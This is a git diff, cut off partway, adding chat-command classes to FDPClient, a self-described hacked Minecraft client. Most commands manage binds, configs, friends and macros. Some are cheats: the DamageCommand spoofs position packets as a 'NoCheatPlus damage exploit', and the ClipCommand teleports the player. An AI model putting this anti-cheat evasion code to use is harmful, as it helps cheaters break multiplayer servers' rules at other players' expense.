b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindsCommand.kt @@ -0,0 +1,34 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.ClientUtils +import org.lwjgl.input.Keyboard + +class BindsCommand : Command("binds", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + if (args[1].equals("clear", true)) { + for (module in FDPClient.moduleManager.modules) + module.keyBind = Keyboard.KEY_NONE + + alert("Removed all binds.") + return + } + } + + alert("§c§lBinds") + FDPClient.moduleManager.modules.filter { it.keyBind != Keyboard.KEY_NONE }.forEach { + ClientUtils.displayChatMessage("§6> §c${it.name}: §a§l${Keyboard.getKeyName(it.keyBind)}") + } + chatSyntax("binds clear") + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BlinkCancelCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BlinkCancelCommand.kt new file mode 100644 index 0000000..1829640 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BlinkCancelCommand.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.BlinkUtils + +class BlinkCancelCommand : Command("BlinkCancel", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + BlinkUtils.setBlinkState(off = true, release = false) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ClipCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ClipCommand.kt new file mode 100644 index 0000000..25a2519 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ClipCommand.kt @@ -0,0 +1,60 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import kotlin.math.cos +import kotlin.math.sin + +class ClipCommand : Command("clip", emptyArray()) { + override fun execute(args: Array<String>) { + if (args.size > 2) { + val dist: Double + try { + dist = args[2].toDouble() + } catch (e: NumberFormatException) { + chatSyntaxError() + return + } + + when (args[1].lowercase()) { + "up" -> { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + dist, mc.thePlayer.posZ) + } + + "down" -> { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - dist, mc.thePlayer.posZ) + } + + else -> { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble() + when (args[1].lowercase()) { + "right" -> 90 + "back" -> 180 + "left" -> 270 + else -> 0 + }) + val x = -sin(yaw) * dist + val z = cos(yaw) * dist + mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z) + } + } + + return + } + + chatSyntax("clip <up/down/forward/back/left/right> <dist>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> listOf("up", "down", "forward", "back", "left", "right").filter { it.startsWith(args[0], true) } + + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConfigCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConfigCommand.kt new file mode 100644 index 0000000..19010ee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConfigCommand.kt @@ -0,0 +1,184 @@ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import java.awt.Desktop +import java.io.File +import java.nio.file.Files + +class ConfigCommand : Command("config", arrayOf("cfg")) { + override fun execute(args: Array<String>) { + if (args.size > 1) { + when (args[1].lowercase()) { + "create" -> { + if (args.size > 2) { + val file = File(FDPClient.fileManager.configsDir, "${args[2]}.json") + if (!file.exists()) { + FDPClient.configManager.load(args[2], true) + alert("Created config ${args[2]}") + } else { + alert("Config ${args[2]} already exists") + } + } else { + chatSyntax("${args[1]} <configName>") + } + } + + "load", "forceload" -> { + if (args.size > 2) { + val file = File(FDPClient.fileManager.configsDir, "${args[2]}.json") + if (file.exists()) { + FDPClient.configManager.load(args[2], args[1].equals("load", true)) + alert("Loaded config ${args[2]}") + } else { + alert("Config ${args[2]} does not exist") + } + } else { + chatSyntax("${args[1]} <configName>") + } + } + + "delete" -> { + if (args.size > 2) { + val file = File(FDPClient.fileManager.configsDir, "${args[2]}.json") + if (file.exists()) { + file.delete() + alert("Successfully deleted config ${args[2]}") + } else { + alert("Config ${args[2]} does not exist") + } + } else { + chatSyntax("${args[1]} <configName>") + } + } + + "openfolder" -> { + Desktop.getDesktop().open(FDPClient.fileManager.configsDir) + } + + "list" -> { + val list = (FDPClient.fileManager.configsDir.listFiles() ?: return) + .filter { it.isFile } + .map { + val name = it.name + if (name.endsWith(".json")) { + name.substring(0, name.length - 5) + } else { + name + } + } + + alert("Configs(${list.size}):") + + for (file in list) { + if (file.equals(FDPClient.configManager.nowConfig)) { + alert("-> §a§l$file") + } else { + alert("> $file") + } + } + } + + "save" -> { + FDPClient.configManager.save(true, true) + alert("Saved config ${FDPClient.configManager.nowConfig}") + } + + "reload" -> { + FDPClient.configManager.load(FDPClient.configManager.nowConfig, false) + alert("Reloaded config ${FDPClient.configManager.nowConfig}") + } + + "rename" -> { + if (args.size > 3) { + val file = File(FDPClient.fileManager.configsDir, "${args[2]}.json") + val newFile = File(FDPClient.fileManager.configsDir, "${args[3]}.json") + if (file.exists() && !newFile.exists()) { + file.renameTo(newFile) + alert("Renamed config ${args[2]} to ${args[3]}") + } else if (!file.exists()) { + alert("Config ${args[2]} does not exist") + } else if (newFile.exists()) { + alert("Config ${args[3]} already exists") + } + if (FDPClient.configManager.nowConfig.equals(args[2], true)) { + FDPClient.configManager.load(args[3], false) + FDPClient.configManager.saveConfigSet() + } + } else { + chatSyntax("${args[1]} <configName> <newName>") + } + } + + "current" -> { + alert("Current config is ${FDPClient.configManager.nowConfig}") + } + + "copy" -> { + if (args.size > 3) { + val file = File(FDPClient.fileManager.configsDir, "${args[2]}.json") + val newFile = File(FDPClient.fileManager.configsDir, "${args[3]}.json") + if (file.exists() && !newFile.exists()) { + Files.copy(file.toPath(), newFile.toPath()) + alert("Copied config ${args[2]} to ${args[3]}") + } else if (!file.exists()) { + alert("Config ${args[2]} does not exist") + } else if (newFile.exists()) { + alert("Config ${args[3]} already exists") + } + } else { + chatSyntax("${args[1]} <configName> <newName>") + } + } + } + } else { + chatSyntax(arrayOf("current", + "copy <configName> <newName>", + "create <configName>", + "load <configName>", + "forceload <configName>", + "delete <configName>", + "rename <configName> <newName>", + "reload", + "list", + "openfolder", + "save" + )) + } + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> listOf("current", + "copy", + "create", + "load", + "forceload", + "delete", + "rename", + "reload", + "list", + "openfolder", + "save").filter { it.startsWith(args[0], true) } + 2 -> when (args[0].lowercase()) { + "delete", "load", "forceload", "rename", "copy" -> { + (FDPClient.fileManager.configsDir.listFiles() ?: return emptyList()) + .filter { it.isFile } + .map { + val name = it.name + if (name.endsWith(".json")) { + name.substring(0, name.length - 5) + } else { + name + } + } + .filter { it.startsWith(args[1], true) } + } + else -> emptyList() + } + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConnectCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConnectCommand.kt new file mode 100644 index 0000000..baf438f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ConnectCommand.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.ui.client.gui.GuiMainMenu +import net.minecraft.client.gui.GuiMultiplayer +import net.minecraft.client.multiplayer.GuiConnecting +import net.minecraft.client.multiplayer.ServerData + +class ConnectCommand : Command("connect", emptyArray()) { + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + when(args.size) { + 3 -> { + if(args[2] == "silent") { + chat("Connecting to §a§l${args[1]} §7(Silent mode)") + mc.displayGuiScreen(GuiConnecting(GuiMultiplayer(GuiMainMenu()), mc, ServerData("", args[1], false))) + } + return + } + } + if (args.size == 3 && args[2] == "silent") return + if (args.size == 2) { + chat("Connecting to §a§l${args[1]}") + mc.theWorld.sendQuittingDisconnectingPacket() + mc.displayGuiScreen(GuiConnecting(GuiMultiplayer(GuiMainMenu()), mc, ServerData("", args[1], false))) + } else chatSyntax("connect <ip:port> (silent)") + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/DamageCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/DamageCommand.kt new file mode 100644 index 0000000..6f9c8d6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/DamageCommand.kt @@ -0,0 +1,41 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition + +class DamageCommand : Command("damage", arrayOf("hurt")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + var damage = 1 + + if (args.size > 1) { + try { + damage = args[1].toInt() + } catch (ignored: NumberFormatException) { + chatSyntaxError() + return + } + } + + // Latest NoCheatPlus damage exploit + val x = mc.thePlayer.posX + val y = mc.thePlayer.posY + val z = mc.thePlayer.posZ + + for (i in 0 until 65 * damage) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y + 0.049, z, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y, z, false)) + } + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y, z, true)) + + // Output message + chat("You were damaged.") + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FakeNameCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FakeNameCommand.kt new file mode 100644 index 0000000..8e89cac --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FakeNameCommand.kt @@ -0,0 +1,32 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command + +class FakeNameCommand : Command("SetFakeName", emptyArray()){ + override fun execute(args: Array<String>) { + if(args.size > 2) { + val module = FDPClient.moduleManager.getModule(args[1]) ?: return + module.name = args[2] + } else + chatSyntax("SetFakeName <Module> <Name>") + } + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val moduleName = args[0] + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(moduleName, true) } + .toList() + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FocusCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FocusCommand.kt new file mode 100644 index 0000000..c8d49b1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FocusCommand.kt @@ -0,0 +1,69 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command + +class FocusCommand : Command("focus", emptyArray()) { + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size == 3) { + val focused = args[1] + val target = args[2] + val entity = mc.theWorld.playerEntities.filter { it.name.equals(target, true) && !it.equals(mc.thePlayer) }.also { + if (it.isEmpty()) { + alert("§6Couldn't find anyone named §a${target.lowercase()}§6 in the world.") + return + } + }[0] + + when (focused.lowercase()) { + "add" -> { + FDPClient.combatManager.focusedPlayerList.add(entity) + alert("Successfully added §a${target.lowercase()}§3 into the focus list.") + return + } + "remove" -> { + if (FDPClient.combatManager.focusedPlayerList.contains(entity)) { + FDPClient.combatManager.focusedPlayerList.remove(entity) + alert("Successfully removed §a${target.lowercase()}§3 from the focus list.") + return + } else { + alert("§6Couldn't find anyone named §a${target.lowercase()}§6 in the focus list.") + return + } + } + } + } else if (args.size == 2 && args[1].equals("clear", true)) { + FDPClient.combatManager.focusedPlayerList.clear() + alert("Successfully cleared the focus list.") + return + } + + chatSyntax("focus <clear/add/remove> <target name>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val pref = args[0] + + return when (args.size) { + 1 -> listOf("clear", "add", "remove") + 2 -> if (args[0].equals("add", true) || args[0].equals("remove", true)) { + mc.theWorld.playerEntities + .filter { it.name.startsWith(pref, true) } + .map { it.name } + .toList() + } else emptyList() + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FriendCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FriendCommand.kt new file mode 100644 index 0000000..b2d0aa7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/FriendCommand.kt @@ -0,0 +1,154 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils + +class FriendCommand : Command("friend", arrayOf("friends")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + val friendsConfig = FDPClient.fileManager.friendsConfig + + when { + args[1].equals("add", ignoreCase = true) -> { + if (args.size > 2) { + val name = args[2] + + if (name.isEmpty()) { + alert("The name is empty.") + return + } + + if (if (args.size > 3) friendsConfig.addFriend(name, StringUtils.toCompleteString(args, 3)) else friendsConfig.addFriend(name)) { + FDPClient.fileManager.saveConfig(friendsConfig) + alert("§a§l$name§3 was added to your friend list.") + playEdit() + } else { + alert("The name is already in the list.") + } + return + } + chatSyntax("friend add <name> [alias]") + return + } + + args[1].equals("addall", ignoreCase = true) -> { + if (args.size == 3) { + val regex = args[2] + val coloredRegex = ColorUtils.translateAlternateColorCodes(regex) + + var added = 0 + + mc.theWorld.playerEntities + .filter { !AntiBot.isBot(it) && it.displayName.formattedText.contains(coloredRegex, false) } + .forEach { + if (friendsConfig.addFriend(it.name)) { + added++ + } + } + + alert("Added §a§l$added §3players matching the same regex to your friend list.") + playEdit() + return + } + chatSyntax("friend addall <colored regex>") + return + } + + args[1].equals("removeall", ignoreCase = true) -> { + if (args.size == 3) { + val regex = args[2] + + var remove = 0 + + friendsConfig.friends + .map { it.playerName } + .filter { it.contains(regex, false) } + .forEach { + if (friendsConfig.removeFriend(it)) { + remove++ + } + } + + alert("Removed §a§l$remove §3players matching the same regex from your friend list.") + playEdit() + return + } + chatSyntax("friend removeall <regex>") + return + } + + args[1].equals("remove", ignoreCase = true) -> { + if (args.size > 2) { + val name = args[2] + + if (friendsConfig.removeFriend(name)) { + FDPClient.fileManager.saveConfig(friendsConfig) + alert("§a§l$name§3 was removed from your friend list.") + playEdit() + } else { + alert("This name is not in the list.") + } + return + } + chatSyntax("friend remove <name>") + return + } + + args[1].equals("clear", ignoreCase = true) -> { + val friends = friendsConfig.friends.size + friendsConfig.clearFriends() + FDPClient.fileManager.saveConfig(friendsConfig) + alert("Removed $friends friend(s).") + return + } + + args[1].equals("list", ignoreCase = true) -> { + alert("Your Friends:") + + for (friend in friendsConfig.friends) + alert("§7> §a§l${friend.playerName} §c(§7§l${friend.alias}§c)") + + alert("You have §c${friendsConfig.friends.size}§3 friends.") + return + } + } + } + + chatSyntax("friend <add/addall/removeall/list/clear>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> listOf("add", "addall", "remove", "removeall", "list", "clear").filter { it.startsWith(args[0], true) } + 2 -> { + when (args[0].lowercase()) { + "add" -> { + return mc.theWorld.playerEntities + .map { it.name } + .filter { it.startsWith(args[1], true) } + } + "remove" -> { + return FDPClient.fileManager.friendsConfig.friends + .map { it.playerName } + .filter { it.startsWith(args[1], true) } + } + } + return emptyList() + } + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HelpCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HelpCommand.kt new file mode 100644 index 0000000..b2db8a4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HelpCommand.kt @@ -0,0 +1,60 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import joptsimple.internal.Strings +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.ClientUtils + +class HelpCommand : Command("help", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + var page = 1 + + if (args.size > 1) { + try { + page = args[1].toInt() + } catch (e: NumberFormatException) { + chatSyntaxError() + } + } + + if (page <= 0) { + alert("The number you have entered is too low, it must be over 0") + return + } + + val maxPageDouble = FDPClient.commandManager.commands.size / 8.0 + val maxPage = if (maxPageDouble > maxPageDouble.toInt()) { + maxPageDouble.toInt() + 1 + } else { + maxPageDouble.toInt() + } + + if (page > maxPage) { + alert("The number you have entered is too big, it must be under $maxPage.") + return + } + + alert("§c§lHelp") + ClientUtils.displayChatMessage("§7> Page: §8$page / $maxPage") + + val commands = FDPClient.commandManager.commands.map { it.value }.distinct().sortedBy { it.command } + + var i = 8 * (page - 1) + while (i < 8 * page && i < commands.size) { + val command = commands[i] + + ClientUtils.displayChatMessage("§6> §7${FDPClient.commandManager.prefix}${command.command}${if (command.alias.isEmpty()) "" else " §7(§8" + Strings.join(command.alias, "§7, §8") + "§7)"}") + i++ + } + + ClientUtils.displayChatMessage("§a------------\n§7> §c${FDPClient.commandManager.prefix}help §8<§7§lpage§8>") + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HideCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HideCommand.kt new file mode 100644 index 0000000..49bcf60 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/HideCommand.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils + +class HideCommand : Command("hide", emptyArray()) { + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + when { + args[1].equals("list", true) -> { + alert("§c§lHidden") + FDPClient.moduleManager.modules.filter { !it.array }.forEach { + ClientUtils.displayChatMessage("§6> §c${it.name}") + } + return + } + + args[1].equals("clear", true) -> { + for (module in FDPClient.moduleManager.modules) + module.array = true + + alert("Cleared hidden modules.") + return + } + + args[1].equals("reset", true) -> { + for (module in FDPClient.moduleManager.modules) + module.array = module::class.java.getAnnotation(ModuleInfo::class.java).array + + alert("Reset hidden modules.") + return + } + + else -> { + // Get module by name + val module = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module §a§l${args[1]}§3 not found.") + return + } + + // Find key by name and change + module.array = !module.array + + // Response to user + alert("Module §a§l${module.name}§3 is now §a§l${if (module.array) "visible" else "invisible"}§3 on the array list.") + playEdit() + return + } + } + } + + chatSyntax("hide <module/list/clear/reset>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val moduleName = args[0] + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(moduleName, true) } + .toList() + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/IgnCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/IgnCommand.kt new file mode 100644 index 0000000..2b6b48f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/IgnCommand.kt @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import java.awt.Toolkit +import java.awt.datatransfer.StringSelection + +class IgnCommand : Command("ign", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + val username = mc.thePlayer.name + + chat("Copied Username: $username") + + val stringSelection = StringSelection(username) + Toolkit.getDefaultToolkit().systemClipboard.setContents(stringSelection, stringSelection) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MacroCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MacroCommand.kt new file mode 100644 index 0000000..3d1129f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MacroCommand.kt @@ -0,0 +1,66 @@ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.handler.macro.Macro +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import org.lwjgl.input.Keyboard + +class MacroCommand : Command("macro", arrayOf("m")) { + override fun execute(args: Array<String>) { + if (args.size > 1) { + val arg1 = args[1] + when (arg1.lowercase()) { + "add" -> { + if (args.size > 3) { + val key = Keyboard.getKeyIndex(args[2].uppercase()) + if (key != Keyboard.KEY_NONE) { + var comm = StringUtils.toCompleteString(args, 3) + if (!comm.startsWith(".")) comm = ".$comm" + FDPClient.macroManager.macros.add(Macro(key, comm)) + alert("Bound macro $comm to key ${Keyboard.getKeyName(key)}.") + } else { + alert("Unknown key to bind macro.") + } + save() + } else { + chatSyntax("macro add <key> <macro>") + } + } + + "remove" -> { + if (args.size > 2) { + if (args[2].startsWith(".")) { + FDPClient.macroManager.macros.filter { it.command == StringUtils.toCompleteString(args, 2) } + } else { + val key = Keyboard.getKeyIndex(args[2].uppercase()) + FDPClient.macroManager.macros.filter { it.key == key } + }.forEach { + FDPClient.macroManager.macros.remove(it) + alert("Remove macro ${it.command}.") + } + save() + } else { + chatSyntax("macro remove <macro/key>") + } + } + + "list" -> { + alert("Macros:") + FDPClient.macroManager.macros.forEach { + alert("key=${Keyboard.getKeyName(it.key)}, command=${it.command}") + } + } + + else -> chatSyntax("macro <add/remove/list>") + } + return + } + chatSyntax("macro <add/remove/list>") + } + + private fun save() { + FDPClient.configManager.smartSave() + playEdit() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MatchCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MatchCommand.kt new file mode 100644 index 0000000..2d86be0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/MatchCommand.kt @@ -0,0 +1,61 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command + +class MatchCommand : Command("match", arrayOf("match")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size == 3) { + val module = FDPClient.moduleManager.getModule(args[0]) + val module2 = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module '${args[0]}' not found.") + return + } + + if (module2 == null) { + alert("Module '${args[1]}' not found.") + return + } + + if (module == module2) { + alert("Must match ${args[0]} to ANOTHER module.") + return + } + + module.state = module2.state + + alert("${if (module.state) "Enabled" else "Disabled"} module §8${module.name}§3 to match module §8${module2.name}§3.") + return + } + + chatSyntax("match <module> <module>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val moduleName = args[0] + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(moduleName, true) } + .toList() + 2 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(args[1], true) } + .toList() + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ModuleTriggerCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ModuleTriggerCommand.kt new file mode 100644 index 0000000..362907e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ModuleTriggerCommand.kt @@ -0,0 +1,49 @@ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.EnumTriggerType +import net.ccbluex.liquidbounce.utils.misc.StringUtils + +class ModuleTriggerCommand : Command("moduletrigger", arrayOf("trigger")) { + private val modes = EnumTriggerType.values().map { it.name.lowercase() }.toTypedArray() + + override fun execute(args: Array<String>) { + if (args.size > 2) { + val module = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module '${args[1]}' not found.") + return + } + + module.triggerType = try { + EnumTriggerType.valueOf(args[2].uppercase()) + } catch (e: IllegalArgumentException) { + EnumTriggerType.TOGGLE + } + playEdit() + + alert("Set module §l${module.name}§r trigger type to §l${module.triggerType}§r.") + + return + } + + chatSyntax("moduletrigger <module> [${StringUtils.toCompleteString(modes,0,",")}]") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(args[0], true) } + .toList() + + 2 -> modes.filter { it.startsWith(args[1], true) } + + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PingCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PingCommand.kt new file mode 100644 index 0000000..57b46f4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PingCommand.kt @@ -0,0 +1,14 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command + +object PingCommand : Command("ping", emptyArray()) { + override fun execute(args: Array<String>) { + alert("§3Your ping is §a${mc.netHandler.getPlayerInfo(mc.thePlayer.uniqueID).responseTime}ms§3.") + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PrefixCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PrefixCommand.kt new file mode 100644 index 0000000..2a813e7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/PrefixCommand.kt @@ -0,0 +1,33 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command + +class PrefixCommand : Command("prefix", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size <= 1) { + chatSyntax("prefix <character>") + return + } + + val prefix = args[1] + + if (prefix.length > 1) { + alert("§cPrefix can only be one character long!") + return + } + + FDPClient.commandManager.prefix = prefix.single() + FDPClient.fileManager.saveConfig(FDPClient.fileManager.specialConfig) + + alert("Successfully changed command prefix to '§8$prefix§3'") + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ReloadCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ReloadCommand.kt new file mode 100644 